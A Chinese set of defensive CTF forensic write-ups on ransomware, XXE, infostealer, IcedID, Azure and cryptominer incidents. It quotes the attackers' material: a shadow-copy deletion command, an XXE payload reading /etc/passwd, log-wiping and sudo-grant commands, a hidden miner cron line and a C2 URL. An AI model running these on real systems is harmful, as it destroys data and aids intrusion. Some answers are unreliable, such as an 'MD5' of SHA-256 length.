  • 功能:从索引 revil 中筛选以下条件的日志:
    • 日志文件路径为 C:\evtx\Sysmon.evtx(Sysmon事件日志)。
    • 事件代码为 1(Sysmon事件类型1表示进程创建)。
  • 用途:聚焦于进程创建行为的日志记录。

revil 是一个自定义索引,通常由管理员根据数据来源或用途命名。


2. 字段提取与表格展示

| table winlog.event_data.ParentCommandLine, winlog.event_data.CommandLine, winlog.event_data.ParentImage
  • 功能
    • 提取并展示以下关键字段:
      • ParentCommandLine:父进程的命令行参数。
      • CommandLine:当前进程的命令行参数。
      • ParentImage:父进程的可执行文件路径。
  • 用途:明确进程的创建链关系,用于分析可疑的父子进程行为。

3. 时间排序

| sort -_time
  • 功能:按日志时间倒序(- 表示降序)排列结果。
  • 用途:优先查看最新事件,便于快速定位近期活动。

4. 去重操作

| dedup winlog.event_data.ParentCommandLine, winlog.event_data.CommandLine, winlog.event_data.ParentImage
  • 功能:基于三个字段的组合值去重,保留唯一记录。
  • 逻辑:如果多条日志的这三个字段值完全相同,仅保留最先出现的一条(结合前面的 sort -_time,实际保留的是最新的一条)。
  • 用途:避免重复数据干扰,突出不同进程实例的特征。

结果包含 282 个事件,其中存在与清除事件日志相关的噪声事件:

img

wevtutil.exe 是 Windows 事件日志管理工具,用于查询、导出、清理和管理 Windows 事件日志,支持命令行操作。

因此,我排除了这一事件,通过将查询修改为以下内容来缩小我们的结果范围:

index=revil "log.file.path"="C:\\evtx\\Sysmon.evtx" "event.code"=1 NOT "winlog.event_data.CurrentDirectory"="C:\\Program Files\\Graphviz\\" 
| table  winlog.event_data.ParentCommandLine, winlog.event_data.CommandLine, winlog.event_data.ParentImage
| sort -_time 
| dedup winlog.event_data.ParentCommandLine, winlog.event_data.CommandLine, winlog.event_data.ParentImage

CurrentDirectory 表示进程启动时的当前工作目录。此条件筛选进程启动位置为 C:\Program Files\Graphviz\ 的事件。

排除当前目录与指定路径相匹配的任何日志。

我注意到有一个可疑的进程叫做“facebook assistant.exe”

img

涉及 "C:\Users\Administrator\Downloads\facebook assistant.exe" 的这一行值得注意。从互联网上下载的可执行文件,尤其是那些通用名称的文件,往往可能是恶意的。此文件参与了一个看起来经过混淆处理的 PowerShell 命令:

powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==

解码后为

Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}
# 获取所有卷影副本(Volume Shadow Copy)
Get-WmiObject Win32_Shadowcopy

# 遍历每个卷影副本并删除
| ForEach-Object {
    $_.Delete();
}

Get-WmiObject Win32_Shadowcopy

  • Get-WmiObject:用于查询 Windows Management Instrumentation (WMI) 中的对象。
  • Win32_Shadowcopy:Windows 卷影副本(VSS 快照)的 WMI 类,包含当前系统的所有快照信息。
  • 该部分命令会列出系统中所有现有的 VSS 快照

| ForEach-Object {$_.Delete();}

  • |(管道):将 Get-WmiObject 查询到的所有 VSS 副本对象传递给 ForEach-Object 进行遍历处理。
  • ForEach-Object:对每个 Win32_Shadowcopy 对象执行 { $_.Delete(); }
  • $_:代表当前遍历的对象(即 VSS 快照)。
  • Delete();:调用 WMI 提供的 删除方法,直接删除该 VSS 副本

接下来我需要通过查看与 Facebook assistant.exe 文件相关的事件来对其进行调查,所以我使用了这个命令:

index=revil   NOT "winlog.event_data.CurrentDirectory"="C:\\Program Files\\Graphviz\\" "facebook assistant.exe"
| table  winlog.event_data.TargetFilename
| dedup winlog.event_data.TargetFilename
  • NOT "winlog.event_data.CurrentDirectory"="C:\\Program Files\\Graphviz\\"
    排除所有进程启动时工作目录为 C:\Program Files\Graphviz\ 的事件(此前确认该路径存在干扰噪声)。

  • table winlog.event_data.TargetFilename提取并展示 TargetFilename 字段。

  • dedup winlog.event_data.TargetFilename基于 TargetFilename 字段值去重,保留唯一记录。

img

输出显示了在 Windows 系统的多个用户目录中找到文件的路径列表。该文件似乎存在于多个位置,包括特定用户的目录和公共目录。

文件名表明这可能是一个“README”文件,这种文件常被勒索软件或恶意软件的作者用来提供说明或细节。这是常见的做法,用于告知受害者发生了什么,尤其是在勒索软件案件中。

答案:5uizv5660t-readme.txt

Q2:在确认勒索信之后,接下来要确定其来源。可能涉及的勒索软件的进程 ID 是多少?

查找进程 ID 的步骤

我们可以使用查询来搜索与勒索信件相关的特定文件创建事件。我们想要找到记录文件创建时间以及相关进程 ID 的事件。

以下是我们可以用来从 Sysmon 日志或 Windows 事件日志中查找相关事件的查询(假设这些日志已索引到 revil 下):

index=revil 
"log.file.path"="C:\\evtx\\Sysmon.evtx" 
"event.code"=11 
"winlog.event_data.TargetFilename"="*\\5uizv5660t-readme.txt" 
| table _time, winlog.event_data.ParentCommandLine, winlog.event_data.ParentImage, winlog.event_data.ProcessId
| sort -_time
  1. "log.file.path"="C:\\evtx\\Sysmon.evtx"
    • 指定分析的数据源为 Sysmon 事件日志(路径 C:\evtx\Sysmon.evtx)。
  2. "event.code"=11
    • 筛选 Sysmon 事件 ID 11(文件创建或覆盖操作)。
  3. "winlog.event_data.TargetFilename"="\*\\5uizv5660t-readme.txt"
    • 匹配目标文件名为 5uizv5660t-readme.txt 的事件(* 表示任意路径前缀)。

运行查询后,我会检查与勒索信创建相关的进程标识符(PID)的结果。输出将为我们提供一份参与创建或修改勒索信的进程及其各自 PID 的列表

img

Q3:确定了勒索软件的进程 ID 后,接下来合乎逻辑的一步就是找到其来源。我们可以在哪里找到勒索软件的可执行文件?

要定位与已识别进程 ID 相关联的勒索软件可执行文件,我们可以检查 Sysmon 日志以找到与此进程相关的 TargetFilenameTargetFilename 通常会指示该可执行文件在文件系统中的位置。

查询 Sysmon 日志,找出与之前获取的进程 ID 相对应的事件。查找与进程创建(code 1)或文件创建(code 11)相关的事件代码,以确定可执行文件可能的位置。

以下是一个示例查询,您可以运行该查询来查找进程 ID 的可执行文件:

index=revil 
"event.code"=1 
"winlog.event_data.ProcessId"=""
| table _time, winlog.event_data.Image, winlog.event_data.TargetFilename
| sort -_time

"event.code"=1

  • 筛选 Sysmon 事件 ID 1(进程创建事件)。

"winlog.event_data.ProcessId"=""

  • 过滤 ProcessId 字段为空的记录(异常情况,正常情况下进程创建事件必含有效进程 ID)。

img

找到了勒索软件的可执行文件。

答案:facebook assistant.exe

Q4:现在您已经确定了勒索软件的可执行文件位置,让我们进一步深入研究。勒索软件通常会破坏系统的恢复方法,您能否找出用于此目的的命令?

img

解码得到

img

答案:Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}

Q5:我们追踪勒索软件的活动轨迹时,需要进行更深入的验证。您能否提供该勒索软件可执行文件的 sha256 哈希值,以便与已知的恶意特征码进行交叉比对?

要在 Splunk 中利用 Sysmon 事件日志获取勒索软件可执行文件的 SHA-256 哈希值,我们可以利用 Sysmon 事件 ID 1(进程创建),该事件通常包含有关可执行文件哈希值的详细信息。

提取哈希信息的查询:

index=revil "facebook assistant.exe" "SHA256"
| table _time, host, winlog.event_data.Image, winlog.event_data.Hashes
| dedup winlog.event_data.Image
| sort -_time

img

在我们获取它之后,可以通过在任何威胁情报平台(如 VirusTotal)上传哈希值来确保是这个勒索软件。

img

Q6:还有一个关键环节。我们需要确定攻击者的通信渠道。您能否找出勒索软件作者用于接收受害者付款的洋葱域名?

我试图从 Splunk 中获取这些信息,但里面没有有用的内容,于是我问自己为何不在公开报告中搜索或者使用威胁情报平台。我先查看了 VirusTotal 和 Hybrid Analysis 的行为标签页,但什么都没有,之后我想从 MalwareBazaar 数据库下载恶意软件样本。

img

并将其上传至 AnyRun 平台,以进行静态和动态分析,并实时与活体恶意软件样本进行交互。

几分钟后,我得到了很好的结果,在导航到 IOCs 后,我在域名部分找到了 C2 服务器的域名。

img

XXE Infiltration Lab(流量分析)

自动化警报检测到服务器正在处理异常的 XML 数据,这表明可能存在 XXE(XML 外部实体)注入攻击。这引发了对公司客户数据和内部系统完整性的担忧,促使立即展开调查。

使用您可用的网络分析工具对提供的 PCAP 文件进行分析。您的目标是确定攻击者是如何获得访问权限的以及他们采取了哪些行动。

要VIP,原文地址:XXE Infiltration Lab | FaresMorcy

Q1:了解攻击者已发现的开放端口,有助于我们知晓哪些服务已暴露并可能成为攻击目标。您能否提供受害者网络服务器上开放的最高端口号?

tcp.flags.reset ==1 && tcp.flags.ack == 0
或
tcp.flags.syn == 1 and tcp.flags.ack == 1

无标题13

或者使用tshark分析:

tshark -r XXEInfiltration.pcap -Y "tcp.flags.syn == 1 and tcp.flags.ack == 1" -T fields -e tcp.srcport | sort | uniq

uniq 主要用于 去除文本文件中相邻的重复行,通常与 sort 命令配合使用。

答案:3306

Q2:通过识别易受攻击的 PHP 脚本,安全团队可以直接处理并缓解该漏洞。易受 XXE 注入攻击的 PHP 脚本的完整 URI 是什么?

使用过滤语句

http contains "<?xml"

无标题14

无标题15

可以发现其中受 XXE 注入攻击的 PHP 脚本:

<?xml version="1.0"encoding="ISO-8859-1"?>			//定义 XML 版本和字符编码
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<f00>&xxe;</f00>
  • <!DOCTYPE foo:定义 XML 文档的根元素为 foo

  • <!ELEMENT foo ANY:允许 foo 元素包含任意内容。

  • <!ENTITY xxe SYSTEM "file:///etc/passwd" >

    • 关键攻击点!声明一个名为 xxe 的外部实体。
    • SYSTEM 表示引用外部资源,此处尝试读取服务器上的 /etc/passwd 文件(Unix 系统用户账户配置文件)。
  • &xxe;:引用之前定义的实体 xxe

  • 攻击生效条件
    当 XML 解析器未禁用外部实体加载时,会尝试读取 file:///etc/passwd 并将其内容注入到 <f00> 标签中,导致敏感文件泄露。

答案:/review/upload.php

Q3:构建攻击时间线,确定初始妥协点。攻击者上传的第一个恶意XML文件是什么?

由Q2可知其文件名filenameTheGreatGatsby.xml

答案:TheGreatGatsby.xml

Q4:了解哪些敏感文件被访问有助于评估此次入侵可能造成的危害。攻击者读取的网络应用程序配置文件叫什么名字?

攻击者枚举攻击寻找配置文件,存在许多404响应包,因此

http.response.code == 200

无标题16

无标题17

答案:config.php

Q5:确定违规的程度,被攻破的数据库用户的密码是什么?

分析HTTP流可以找到

无标题18

答案:Winter2024

Q6:在数据库用户凭证遭泄露之后,攻击者首次尝试使用泄露的凭证连接 MySQL 服务器的 UTC 时间戳是什么?

由Q5可知攻击者于 2024 年 5 月 31 日 12 点 03 分 12 秒获取了数据库的用户名和密码。

无标题20

根据Q1可以发现3306端口开放,mysql服务端口开放,进行过滤分析:

tcp.port == 3306

无标题19

Q7:为了消除威胁并防止进一步的未经授权访问,您能否确定攻击者上传用于远程代码执行和持久化的网络后门的名称?

无标题21

答案:booking.php

这哥们真狠完全不看http流……

RedLine Lab(内存取证)

作为安全蓝队的一员,您的任务是使用 Redline 和 Volatility 工具分析内存转储。您的目标是追踪攻击者在受感染机器上所采取的步骤,并确定他们是如何绕过网络入侵检测系统(NIDS)的。您的调查将确定攻击中使用的特定恶意软件家族及其特征。此外,您还需要识别并消除攻击者留下的任何痕迹或足迹。

Q1:可疑进程的名称是什么?

查看进程:

vol.py -f MemoryDump.mem windows.pstree

image-20250304114030771

进程太多了,这里学习到一个分析进程列表技巧:

当可执行文件位于 Local\\Temp 目录中可能是恶意软件。此路径是潜在恶意活动的一个众所周知的标志,因为攻击者常常将可执行文件放入临时目录以躲避检测。

进行搜索分析:

image-20250304114250043

再仔细分析其父进程,448,svhost.exe

在典型的系统行为中, svchost.exe 不会从用户可访问的路径生成自定义可执行文件。这种不寻常的关系进一步引发了对 oneetx.exe 性质的怀疑。

最后,执行了命令

vol.py -f MemoryDump.mem windows.malfind

image-20250304114727014

oneetx.exe就在里面

答案:oneetx.exe

Q2:可疑进程的子进程名称是什么?

在进程中搜索oneetx.exe,可以发现其子进程:

image-20250304115819795

答案:rundll32.exe

Q3:对可疑进程的内存区域应用了何种内存保护?

在 Windows 系统中调查可疑进程时,理解内存保护是一项至关重要的分析工作。内存保护是分配给不同内存区域的属性,用于定义这些区域可以如何被访问或操作。常见的保护类型包括 :

PAGE_READONLY ,它限制内存访问仅限于读取;

PAGE_READWRITE ,它允许读取和写入;

以及 PAGE_EXECUTE_READWRITE ,它允许执行、读取和写入。在这些保护类型中,像 PAGE_EXECUTE_READWRITE 这样的可执行权限在内存调查中尤其令人担忧,因为它们常被用于恶意活动,比如代码注入。

由Q1内存注入检测中可以发现oneetx.exe内存保护的类型为 PAGE_EXECUTE_READWRITE

我们也可以使用 Volatility 的 windows.vadinfo 插件,它专门用于揭示进程的虚拟内存布局,是检测内存注入、隐藏代码和恶意行为的利器:

vol.py -f MemoryDump.mem windows.vadinfo --pid 5896

在lovelymem中该功能在虚拟地址描述符中:

image-20250304120925272

image-20250304121253737

答案:PAGE_EXECUTE_READWRITE

Q4:负责 VPN 连接的进程叫什么名字?

要确定负责 VPN 连接的进程,必须审视进程之间的关系及其在管理网络流量方面所起的作用。虚拟专用网络(VPN)能够在设备与远程网络之间实现安全加密的通信,这通常需要多个进程协同工作。这些进程通常会建立用于数据传输的安全隧道,并管理底层的网络协议。

在内存分析期间,进程树输出中识别出一个名为 tun2socks.exe 的进程。

image-20250304121511375

此过程与虚拟专用网络(VPN)功能相关,通常用作将 SOCKS 代理流量转换为 IP 数据包的实用程序。然而, tun2socks.exe 并非独立进程。它在父进程的控制下运行,该父进程负责协调 VPN 连接。

进一步检查进程树可以发现, tun2socks.exe 的父进程是 outline.exe

img

此线程是 Outline VPN 软件的一部分,Outline VPN 是一种广泛使用的安全通信工具,能够绕过网络限制。 outline.exe 负责发起和管理 VPN 连接,包括启动诸如 tun2socks.exe 之类的实用程序进程来处理特定的网络操作。

对网络活动的分析证实了这一发现:

vol.py -f MemoryDump.mem windows.netscan

image-20250304124344894

tun2socks.exe 建立的连接是 outline.exe 所设置的指令和配置的直接结果。作为父进程, outline.exe 在创建和维护 VPN 隧道方面发挥着核心作用。

根据此次调查,负责 VPN 连接的进程被确认为 outline.exe 。这一结论源于其作为控制 tun2socks.exe 的父进程的角色,以及它与管理安全连接的 Outline VPN 软件的关联。

答案:outline.exe

Q5:攻击者的IP地址是什么?

windows.netscan中分析主要的三个进程oneetx.exe tun2socks.exe的网络连接情况

image-20250304124640626

第一个远程 IP 地址 77.91.124.20 通过 TCP 端口 55462 连接,并与进程 oneetx.exe 相关联。此进程之前已被认定为可疑,它与一个临时目录相关联,这通常是恶意软件所使用的。与 77.91.124.20 的通信表明可能存在攻击者活动,因为此 IP 地址可能代表一个命令与控制(C2)服务器或参与攻击策划的另一个端点。

第二个远程IP 38.121.43.65 ,通过TCP 443端口连接,这是安全HTTPS通信的标准端口,与进程 tun2socks.exe 关联。这个过程是一个已知的实用程序,用于处理VPN环境中的网络转换。然而, tun2socks.exe 是在其父进程 outline.exe 的控制下运行的,它是Outline VPN软件的一部分。连接到 38.121.43.65 是合法的VPN行为的特征,在这种行为中,通过与外部服务器建立安全隧道进行加密通信。

基于此分析,通过 oneetx.exe77.91.124.20 的连接表明可能存在恶意活动,需要进一步调查。相反,与 38.121.43.65 的连接由 outline.exe 管理,该进程被确认为负责 VPN 连接的进程。此进程启动并监督安全通信隧道,并将特定任务委托给 tun2socks.exe

答案:77.91.124.20

Q6:攻击者访问的 PHP 文件的完整 URL 是什么?

为了确定攻击者访问的 PHP 文件的完整 URL,调查重点在于分析恶意进程的内存转储,并查找与攻击者活动相关的字符串或模式。具体来说,这包括定位与攻击者 IP 地址以及相关 HTTP 请求有关的引用。

在内存转储上使用 strings 命令来搜索 URL、攻击者的 IP 地址等:

strings MemoryDump.mem > 1.txt

然后搜索相关IP:

image-20250304135847636

内存转储中明确提及了攻击者的活动。在之前的分析中被认定为恶意的进程 oneetx.exe 包含一个指向远程服务器上 PHP 文件的 HTTP URL 字符串。此字符串直接证明了恶意进程与攻击者基础设施之间的通信。

在内存转储中,IP 地址 77.91.124.20 与 URL http://77.91.124.20/store/games/index.php 相关联。该 URL 表明恶意进程访问了特定资源,该资源很可能托管在攻击者的命令与控制(C2)服务器上,可能是为了数据外泄、接收指令或下载更多有效载荷。

答案:http://77.91.124.20/store/games/index.php

Q7:恶意可执行文件的完整路径是什么?

从Q1的分析中就已经发现了

这条路径表明可执行文件存储在合法软件通常不会使用的非标准目录中,进一步证实了其恶意性质。像这样的临时目录通常用于存放临时文件,合法的可执行文件从这种位置运行是极不寻常的。

答案:C:\Users\Tammam\AppData\Local\Temp\c3912af058\oneetx.exe

IcedID Lab(情报分析)

已发现一个网络威胁组织发起大规模网络钓鱼活动,以传播更多恶意负载。最常见的恶意负载是 IcedID。您已获得一个 IcedID 样本的哈希值,用于分析并监控这个高级持续性威胁(APT)组织的活动。

Q1:与给定哈希值相关联的文件叫什么名字?

拿hash值到virustotal中进行分析:

image-20250305101706127

答案:document-1982481273.xlsm

Q2:您能确定已部署的 GIF 文件的文件名吗?

Relations 选项卡内,查看 Connected URLs 部分以确定已部署有效载荷的具体文件名。该文件被标记为 3003.gif.

image-20250305101909906

它被识别为恶意的动态链接库(DLL),旨在作为恶意软件感染过程的一部分被下载并执行。

image-20250305102051983

对网络流量的分析显示,存在为获取此文件而发出的 HTTP GET 请求,这证实了它在感染链中充当伪装的有效载荷这一角色。

答案:3003.gif

Q3:在Q2中,该恶意软件会尝试从多少个域名下载附加的有效载荷文件?

由Q2可知恶意软件尝试从5个域名下载附加的有效载荷文件

这种冗余设计旨在确保恶意负载具有更高的可用性和恢复能力,即使某些域名被关闭,也能提高成功感染的可能性。网络活动日志进一步说明了与这些域名的连接情况,突显了恶意软件依赖多个服务器来维持其攻击。

答案:5

Q4:在 Q3 中提到的域名中,威胁行为者主要使用了一家 DNS 注册商来托管其有害内容,从而实现恶意软件的功能。您能否指明这家注册商的名称?

image-20250305102944373

可以发现主要的注册商为namecheap

威胁行为者经常选择那些提供匿名性和便捷注册服务的注册商,从而能够迅速部署恶意基础设施。

答案:namecheap

Q5:您能否指明与所提供的样本相关的威胁行为者?

在其他威胁情报平台(如MALWARE bazaar)中搜索hash值查看其标签:

image-20250305104454786

然后再在平台进行搜索:

MITRE ATT&CK®

image-20250305105035776

image-20250305105450187

image-20250305105513541

查看团体TA551的报告:

image-20250305105640540

下面的TA578是个人黑客:

image-20250305105551839

不知道为何,答案是GOLD CABIN

在malpedia中也可以搜到:

image-20250305135339720

答案:TA551

Q6:在执行阶段,恶意软件使用何种功能将额外的有效载荷加载到系统上?

https://tria.ge/

利用 Recorded Future Triage 等工具对恶意软件的执行阶段进行了分析。确定该恶意软件使用 Windows API 函数 URLDownloadToFileA 将更多有效载荷下载到受感染的系统上。

image-20250305141000155

此功能可从互联网下载文件,使恶意软件能够获取并执行更多恶意组件,从而在受感染环境中扩展其功能和持久性。来自 API 监控工具的截图证实了 URLDownloadToFileA 的使用,并突出了对可疑域名的相关调用。

URLDownloadToFileA 中的后缀 A 指明此函数使用 ANSI 字符集来处理字符串。相比之下,以 W 结尾的类似函数(例如 URLDownloadToFileW )则会使用 Unicode 字符集。这种区别对于兼容性很重要,因为较旧的系统和应用程序可能依赖于 ANSI 编码,而现代系统通常默认使用 Unicode。

答案:URLDownloadToFileA

AzureHunt Lab(云取证)

一家金融公司的Azure环境标记了多次在不熟悉的地理位置失败的登录尝试,然后成功验证。不久之后,日志会显示对敏感Blob存储文件的访问和虚拟机启动操作。调查身份验证日志、存储访问模式和VM活动,以确定泄露的范围。

一个意想不到的国家出现了异常活动。作为soc分析师,您的工作是调查最近可疑活动的激增,深入研究可用的日志和数据源,以发现与之相关的威胁。你的分析对确保我们系统的安全至关重要。

注意:您的Azure环境已经配置为将AD日志、活动日志和Blob日志转发到ELK,这是本次调查所需的。

要VIP

原文地址:CTF Write-up: AzureHunt (Certified Cyber Defenders) | by itsGir | Mar, 2025 | Medium

Azure 环境是指微软 Azure(Microsoft Azure) 云计算平台提供的运行环境,包括各种云服务、虚拟机、存储、网络、安全管理等资源。它支持 IaaS(基础设施即服务)、PaaS(平台即服务) 和 SaaS(软件即服务),可以帮助用户构建、部署和管理各种应用。

Q1:作为一家美国公司,安全团队观察到来自一个不寻常的国家的重大可疑活动。攻击者来自哪个国家?

靶机使用了ELK

img

ELK 是 Elasticsearch、Logstash 和 Kibana 的缩写,是一个用于日志管理和数据分析的开源技术栈,主要用于日志收集、存储、搜索、分析和可视化

进行学习:

所以,我们被要求做的第一件事是找到来自非美国国家的被认为“可疑”的流量。首先,让我们看看我们的流量来自哪些国家。我搜索了geo.Country_iso_code这个字段。,点击它可以看到:

img

大部分都在美国,但不是全部。

通过点击“我们”旁边的减号按钮,我们可以过滤来自美国的流量。完成此操作后,再次单击非美国流量的值:

既然我们说的是重大的可疑活动,我们可以猜测“ DE ”就是罪魁祸首。如果你不知道“DE”是哪个国家,那么它将是问题1的正确答案。

image-20250305153906919

答案:Germany

Q2:为了建立一个准确的事件时间表,最初源自该国的活动的时间戳是什么?

让我们查看日志文件,并获取Q1中找到的国家的第一个活动:

img

Q3:要评估泄露范围,必须确定攻击者的入口点。被泄露的用户帐户的显示名是什么?

为了找到这一点,我们需要查看与Q1中找到的国家相关的日志文件相关联的用户帐户。由于它请求显示名称,让我们先查找该字段。当你过滤display_name时,你会得到几个结果:

img

display_name 通常用于标识和显示用户或对象的友好名称,与系统内部的唯一标识符(如用户ID或用户名)不同。

您可以单击字段本身来查看日志文件中的值——大多数都是空的。我选择的是“azure.signinlogs.properties”。-你可以点击它旁边的显示与你的日志记录相关联的值:

img

img

您可以找到与我们之前找到的初始活动日志相连接的帐户。这是第一个被入侵的账号,也是问题3的正确答案。

Q4:为了深入了解攻击者的战术和枚举策略,攻击者在blob存储中访问的脚本文件的名称是什么?

首先,您需要删除国家过滤器。原因是相关的日志条目不包含Country_iso_code。对它们进行过滤会忽略回答这个问题所需的相关日志条目。

其次,我们需要先找到所述的blob存储空间。有多种方法可以找到它。我选择过滤以下两个值(与问题相关):

  • azure.eventhub.resourceType: Microsoft.Storage/storageAccounts/blobServices
  • azure.eventhub.category: StorageRead

第一个值给出了与Blob存储账户相关的所有信息。第二个函数给出了存储中所有的读取操作。两者似乎都符合这个问题的主题:

img

然后我决定只显示“objectKey”值,它显示了哪些对象被访问。最后一步是浏览剩余的日志条目,直到找到一个script文件:

img

Q5:为了详细分析攻击者的行为,脚本文件所在的存储账户名是什么?

一旦你找到Q4的答案,这个问题就不难了。点击日志条目左侧的箭头符号,查看与你找到的脚本文件相关的日志条目:

img

Q6:追踪攻击者在我们的基础设施中的移动,被攻击者泄露的第二个用户账户的用户主体名(UPN)是什么?

我们返回到可疑国家的原始过滤器,并查看下一个我们看到流量的帐户。看看第二个被访问的账户,你应该能找到“IT Admin”:

img

你要做的就是找到这个账户的UPN。我会怀疑azure.signinlogs.properties。User_principal_name "可能是这个问题的答案;-)

img

Q7:分析攻击者对我们环境的影响,攻击者启动的虚拟机叫什么名字?

我们再次删除国家过滤器(因为相关日志中没有),并查找VM启动的迹象。为了快速找到它,您需要一些关于如何记录日志的先决信息。

在Azure中启动的虚拟机会被记录在Azure .activitylogs.identity.authorization”下。作为Microsoft.Compute/virtualMachines/start/action的值。因此,一旦你知道了这个,你就可以对它进行过滤:

img

现在,我们需要找到的是与这些虚拟机相关的资源名称:

img

Q8:为了评估潜在的数据暴露,导出的数据库的名称是什么?

因此,导出了一个数据库。让我们寻找相关的日志条目!

导出SQL数据库时,操作MICROSOFT. SQLSQL/SERVERS/DATABASES/EXPORT/ACTION被写入到Azure的活动日志中。我们并没有告诉你我们讨论的是特定的SQL数据库(这可能会有所帮助),但这是基于我目前所看到的环境的有根据的猜测。

img

接下来要做的就是找到数据库,它存储在日志项“azure.resource.name”的值下:

img

Q9:在你探索持久化技术的过程中,你发现的用户账户的显示名是什么?

从目前的措辞来看,这个问题有点模糊。如果您查看Q11,您将看到已经创建了一个帐户。它希望您找到与该帐户相关联的显示名称。因此,让我们首先找到创建帐户的日志条目。

为此,你需要在azure.activitylogs.operation_name中查找值Add user。对其进行过滤,得到单个命中:

img

把它展开来揭示它。Admin1已创建此用户。你会发现显示的名称被修改了,新值是问题9的答案:

img

Q10:攻击者利用被入侵的账户分配了一个新角色。授予了什么角色?

我们快完成了。我们知道已经添加了一个角色,所以让我们检查添加给用户的角色分配。

要做到这一点,过滤值MICROSOFTAUTHORIZATION/ROLEASSIGNMENTS/WRITE作为你的Azure活动日志操作名称:

img

选择其中任意一个,在展开的窗口中查找角色:

img

Q11:为了全面的时间线和了解违反的进展,该用户帐户第一次成功登录记录的时间戳是什么?

作为最后一步,我们现在查找登录日志。我们知道新用户的名字(it_support@cybercactus.onmicrosoft.com),所以让我们在azure.signinlogs.properties中进行过滤。user_principal_name字段:

img

这包含该帐户的所有登录。

XMRig Lab(磁盘分析)

在对一家初创公司进行例行安全审计时,SOC团队在公司基础设施中的Linux服务器上发现了异常活动,包括意外的配置更改和关键系统目录中不熟悉的文件。这些异常表明可能存在未经授权的访问,并引发了对服务器环境完整性的担忧。

您从其中一台受影响的服务器收到了用于取证分析的磁盘映像。您的目标是确定是否发生了妥协,确定潜在攻击者使用的任何战术或工具,评估事件的范围和影响,并建议缓解策略以防止未来发生破坏。

要VIP

原文地址:CTF Write-up: XMRig (Certified Cyber Defenders) | by itsGir | Jan, 2025 | Medium

Q1:在攻击链中,为新用户分配高级权限是必不可少的,因为它使攻击者能够以管理员权限执行命令,确保对系统的持久控制。攻击者使用什么命令给新创建的用户授予更高的权限?

首先,我们挂载映像文件前,查看靶机下一个空闲环回设备:

sudo losetup -f

原博主使用的命令为:

sudo ls -l /dev | grep "loop"

img

总共有11个环路设备。问题是,我们将图像文件分配给哪一个?为了回答这个问题,我们必须分析回路装置。幸运的是,由于创建时间不同,有一个特别突出,即loop11。这是一个值得研究的有趣问题,而且很可能是必须将映像挂载到的问题。

接下来通过以下命令将磁盘镜像分配给环回设备:

sudo losetup --find --partscan disk_image.img  

--find:查找第一个未使用的循环设备分配驱动器(应该是loop11)

--partscan:确保扫描和处理图像文件的分区,这对于稍后装载该文件系统是必要的。

sudo losetup -a

-a:显示所有循环设备

img

现在,我们需要知道需要挂载哪个分区,因为映像文件可能包含多个分区。执行如下命令:

sudo fdisk -l /dev/loop11

fdisk:用于操作磁盘分区表的命令

-l:列出我们选择的循环设备的分区表

img

我们感兴趣的是文件系统,它被分配到/dev/loop11p2(分区2)。现在我们终于可以通过以下命令挂载它:

sudo mount /dev/loop11p2 /mnt/xmrig

现在我们开始分析。

这个问题问的是攻击者使用了什么命令。所有命令都注册在“。bash_history”文件中,该文件保存在用户的主目录“/home/”中。所以,让我们先查看/home:

img

我们要调查两个用户:noah和ubuntu。根据这个问题,可以推断ubuntu是之前已经存在的账号,noah是新创建的账号。所以,让我们打开ubuntu用户的bash历史文件:

img

sudo adduser noah	创建新用户 noah
sudo usermod -aG sudo noah	此命令将用户 noah 添加到 sudo 组,使其拥有管理员权限(-aG 表示追加到指定组,避免覆盖现有组)
sudo rm -f ~/.bash_history	意图删除用户目录下的命令历史
sudo rm -f /var/log/auth.log	删除系统日志,掩盖攻击行为
(以上为推测,毕竟我没做过)

Q2:理解攻击者用来掩盖其踪迹的命令对于识别试图隐藏系统上的恶意活动是必不可少的。攻击者用来从系统中删除证据的第二个命令是什么?

攻击者用来清除证据的第一个命令是删除bash_history文件。第二个是删除日志文件(见上文)。这是这个问题的正确答案。

Q3:识别攻击者为持久化而添加或修改的配置,对于检测和消除系统上反复出现的恶意活动至关重要。攻击者在预定任务的关键Linux系统文件中添加了什么配置行,以确保挖矿软件能够持续运行?

要回答这个问题,我们需要研究一下Linux的计划任务实用程序,即cron。

文件夹/var/spool/crontabs包含了添加的计划任务。

为了找到这一点,我们需要先通过以下命令提升到root:

sudo su

然后,进入该文件夹:

img

根用户只有一个crontab(定时执行命令文件),我们来研究一下这个文件:

img

0 * * * *	在分钟00、每小时、每天(即每小时)运行该命令。
/tmp/backup.elf	每小时执行的挖矿软件
>/dev/null 2>&1	将输出写入/dev ull(使其消失)。2>&1也包含错误日志,这意味着输出是完全沉默的。

Q4:识别恶意文件的哈希值对于确认其唯一性和跨系统追踪其存在至关重要。攻击者使用挖掘功能丢弃的文件的MD5散列值是多少?

我们知道了文件存储在哪里,所以来看一下:

img

这里有不止一个文件,但我们需要绿色列出的那个文件。运行下面的命令来计算哈希值:

md5sum backup.elf

答案:ad09939a999ace146e122de0082bbf2a3c3d64aedaf844421ba21276b1280b2c

Q5:知道恶意文件的原始名称有助于将其与已知的恶意软件家族联系起来,并对其行为提供有价值的见解。根据威胁情报报告,这名挖矿软件的原名是什么?

将hash值用virustotal进行分析:

image-20250305181109280

可以发现挖矿软件原名为:xmr_linux_amd64 (3)

答案:xmr_linux_amd64 (3)

Q6:了解攻击者的行为对于追踪恶意文件是如何进入系统的至关重要。攻击者成功地在被攻击的Linux系统上执行命令下载并保存了挖矿软件。恶意挖矿软件托管在攻击者的服务器上的确切文件路径是什么?

要回答这个问题,我们需要bash_history文件……等等,我们以前这样做过。但问题是,没有数据表明这种行为。如果你还记得,其中执行的一个命令是删除bash_history文件,这意味着该跟踪信息已被删除。为了恢复它,我们需要一些专门的工具。这就是PhotoRec的作用。

首先,让我们创建一个文件夹来存储证据。我决定在主目录下创建一个名为“recovery”的文件:

mkdir /home/ubuntu/recovery

然后。通过简单的命令打开Photorec:

photorec

img

我们知道去哪里找,也就是/dev/loop11p2.到那里并按回车键:

img

选择唯一可用的驱动器,按“Enter”:

img

由于分区被列为“ext4”,我们选择最上面的选项来恢复文件:

img

Free模式的扫描就足够了

img

